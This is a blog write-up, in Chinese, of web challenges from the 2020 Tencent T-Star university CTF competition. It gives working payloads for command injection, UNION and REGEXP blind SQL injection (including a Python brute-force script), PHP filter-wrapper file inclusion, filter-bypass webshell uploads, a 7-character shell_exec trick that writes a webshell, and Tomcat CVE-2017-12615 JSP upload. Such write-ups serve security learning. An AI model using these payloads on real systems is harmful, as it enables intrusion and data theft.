2020腾讯犀牛鸟网络安全T-Star高校挑战赛Writeup

签到

  • js过滤,直接抓包改后缀getflag即可

微信图片_20200630150552

微信截图_20200630150634

命令执行基础

  • 直接管道符执行其他命令即可
baidu.com | cat  ../key.php

微信截图_20200630150908

你能爆破吗

  • burpsuite爆破密码账号都是admin,登陆成功会set一个cookie,cookie是用户名的base64。

  • payload

-admin"union select 1,(select group_concat(flag) from flag),3-- 
  • base64
LWFkbWluInVuaW9uIHNlbGVjdCAxLChzZWxlY3QgZ3JvdXBfY29uY2F0KGZsYWcpIGZyb20gZmxhZyksMy0tIA==

微信截图_20200630151339

文件包含GetShell

  • 右键看源码提示了lfi.txt拿到lfi.php的源码
<?php
$file = $_REQUEST['file'];
if ($file != '') {
    $inc = sprintf("%s.php", $file); // only php file can be included
    include($inc);
}
?>
  • 直接PHP伪协议去读flag.php源码即可。
file=php://filter/read=convert.base64-encode/resource=flag

微信图片_20200630151723

  • base64解码得到flag:

微信截图_20200630151835

文件上传

  • 对<?、php、eval等进行了过滤,过滤比较简单直接替换为空,直接双写就能绕过,eval直接利用php对大小写不敏感绕过。
  • payload
<php?<?p<?phphp EVAL($_GET['cmd']);?>
  • 文件后缀fuzz发现pht能解析,所以最终解法,上传个图片然后插入上面的payload即可getshell.

微信截图_20200630152459

  • getflag

  • http://1c74d0d4.yunyansec.com/upload/1593501867.pht?cmd=var_dump(file_get_contents(%27../../key%27));

    微信截图_20200630152629

-

分析代码获得flag

源码:

<?php
show_source(__FILE__);
error_reporting(0);
if(strlen($_GET[1])<7){
     echo shell_exec($_GET[1]);
}

?>

p神之前在小密圈发过一份奇淫技巧,里面就有这么一招,但这里限制了7字符,小密圈里面的是8字符,恰好

ls -t>x长度不符合要求没办法用,这里可以用奇淫技巧里面换行的办法把ls -t>x写到文件里面然后用sh执行。

网上找的paylaod在ls -t之间少了一个空格没办法执行,尝试之后ls分开写,然后s加空格可以写到ls -t:

>l\\
>s\ \\
ls>_
>\ \\
>-t\\
>\>y
ls>>_

然后就可以愉快的写wenshell了:

>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
sh _
sh y

flag为上一级的key文件。

flag{a1c8BFF2}

小猫咪踩灯泡

送分题,CVE-2017-12615

抓个包,get改成put,路径改成一个不存在的jsp文件,后面加上斜杠就能把马儿传上去了。

传上去发现根目录有个flag.txt

http://06d6e62b.yunyansec.com/hhhm.jsp?&pwd=023&cmd=cat%20flag.txt

flag{54e47be053bf6ea1}

成绩单

输入框输入

0' union select 1,2,3,database()--
0' union select 1,2,3,table_name from information_schema.tables where table_schema='web1'#
0' union select 1,2,3,column_name from information_schema.columns where table_name='fl4g'#
0' union select 1,2,3,flag from fl4g#

SQL注入2

最后20分钟发现是regexp注入,哭了一直在跑一直在手抖,一边祈求者时间慢点。最后一分钟内吧flag提交成功。

  • 在一次又一次测试中发现居然存在password这个字段。立马想起了BJDCTF的REGEXP注入。过滤了空格直接用/**/代替。

微信图片_20200630210453

  • 最终exp
import os
import requests as req

def ord2hex(string):
  result = ''
  for i in string:
    result += hex(ord(i))
  result = result.replace('0x','')
  return '0x'+result


string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789']
headers = {
      'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
      'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
      'Connection':'keep-alive'
    }

res = ''
for i in range(50):
  for j in string:
      url = "http://a330e61e.yunyansec.com/picture.php?id=-1\"or"
      passwd = ord2hex('^'+res+chr(j))
      passwd = '/**/password/**/regexp/**/binary/**/{}-- '.format(passwd)
      url = url+passwd
      #print(url)
      r = req.get(url, headers=headers)
      if "PNG" in r.text:
          res += chr(j)
          print(res)
          break

微信截图_20200630211928

  • 跑出密码,md5解密一下。
5832f4251cb6f43917df

微信截图_20200630211248

  • 登陆后台拿到flag

微信截图_20200630211512

本文总阅读量
× 文章目录
  1. 1. 签到
  2. 2. 命令执行基础
  3. 3. 你能爆破吗
  4. 4. 文件包含GetShell
  5. 5. 文件上传
  6. 6. 分析代码获得flag
  7. 7. 小猫咪踩灯泡
  8. 8. 成绩单
  9. 9. SQL注入2